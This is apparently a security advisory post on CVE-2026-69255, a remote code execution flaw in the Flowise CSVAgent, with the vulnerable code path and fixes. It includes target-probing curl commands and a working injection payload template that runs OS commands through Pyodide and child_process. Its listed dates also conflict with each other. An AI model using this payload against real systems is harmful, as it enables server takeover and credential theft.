Listen to this Post
CVE-2026-69255 is a critical remote code execution vulnerability in FlowiseAI Flowise versions prior to 3.1.3. The flaw resides in the CSVAgent component, specifically within the `CSVAgent.ts` file at packages/components/nodes/agents/CSVAgent/CSVAgent.ts.
The vulnerable code path begins when the CSV Agent extracts base64-encoded CSV data from a data URI using file.split(',').pop(). This extracted string is then unsafely interpolated directly into a Python code block as `base64_string = “${base64String}”` before being executed by Pyodide. The interpolation occurs at lines 155-171 of CSVAgent.ts.
An attacker can exploit this by crafting a malicious base64 payload that contains a closing double-quote followed by arbitrary Python code. When interpolated, this breaks out of the Python string context, allowing the injected code to execute. The critical oversight is that the `validatePythonCodeForDataFrame()` denylist—which is designed to block dangerous Python constructs—only validates LLM-generated code at line 198, not the initial interpolated code block at line 171.
Once Python code injection is achieved, the attacker can leverage Pyodide’s JavaScript bridge (js.globalThis.eval) to access the host Node.js process. Through process.mainModule.constructor._load('child_process'), the attacker can load Node.js’s `child_process` module, bypassing ESM require restrictions. Finally, `.execSync(‘CMD’)` executes arbitrary operating system commands with the privileges of the running process—in containerized deployments, this is often root (PID 1).
The exploit chain has been verified with a working Meterpreter reverse shell session on Flowise 3.1.2. A Metasploit module (exploit/multi/http/flowise_csv_agent_rce) is available.
DailyCVE Form:
Platform: FlowiseAI Flowise
Version: < 3.1.3 (≤3.1.2)
Vulnerability: Code Injection (RCE)
Severity: CRITICAL (CVSS 9.2-9.9)
date: 2026-08-03
Prediction: 2026-05-20 (Fixed 3.1.3)
What Undercode Say:
Analytics & Verification Data
Verify vulnerable version
curl -s http://target:3000/api/v1/version | jq .version
Expected output: "3.1.2" or lower
Check for CSVAgent endpoint exposure
curl -s http://target:3000/api/v1/chatflows | jq '.[] | select(.name | contains("CSV"))'
Exploit payload template (no commas allowed)
PAYLOAD='";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('\''child_process'\'').execSync('\''id'\'')");'
echo $PAYLOAD | base64 -w0
Trigger prediction endpoint (requires chatflow UUID)
curl -X POST http://target:3000/api/v1/prediction/<UUID> \
-H "Content-Type: application/json" \
-d '{"question": "test"}'
Exploit:
The attack chain follows these steps:
- Craft Malicious CSV: Create a CSV data URI with a base64 payload containing a closing quote and Python code
- Upload to CSVAgent: Submit the malicious CSV to the CSV Agent node in a chatflow
- Code Injection: The unsanitized `base64_string = “${base64String}”` interpolation breaks out of the string context
- Pyodide Execution: Injected Python runs inside Pyodide with access to the Node.js host process
- JavaScript Bridge: `js.globalThis.eval` provides a bridge from Python to JavaScript
6. Load child_process: `process.mainModule.constructor._load(‘child_process’)` loads the Node.js module
- Command Execution: `.execSync(‘CMD’)` executes arbitrary OS commands as root
Constraint: No commas allowed in payload—csvFile.split(',')splits on all commas.
Protection:
- Immediate: Upgrade to Flowise 3.1.3 or later
- Alternative 1: Use `pyodide.globals.set(‘base64_string’, base64String)` instead of string interpolation
- Alternative 2: Validate base64 before interpolation—reject if not matching `/^[A-Za-z0-9+/=]$/`
– Alternative 3: Escape special characters (, \n, \r, \) before interpolation - Workaround: Restrict network access to Flowise instances; avoid exposing to the internet; enforce authentication
Impact:
- Full Remote Code Execution: Arbitrary OS commands as root (PID 1 in containers)
- Credential Theft: Exposure of
FLOWISE_PASSWORD,DATABASE_PATH, `APIKEY_PATH`
– Arbitrary File Read: Via `process.binding(‘fs’).readFileUtf8(‘/etc/hostname’)`
– Denial of Service: Certain native binding calls (spawn_sync) crash the Node.js process - CVSS v3.1 Score: 9.9 CRITICAL (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
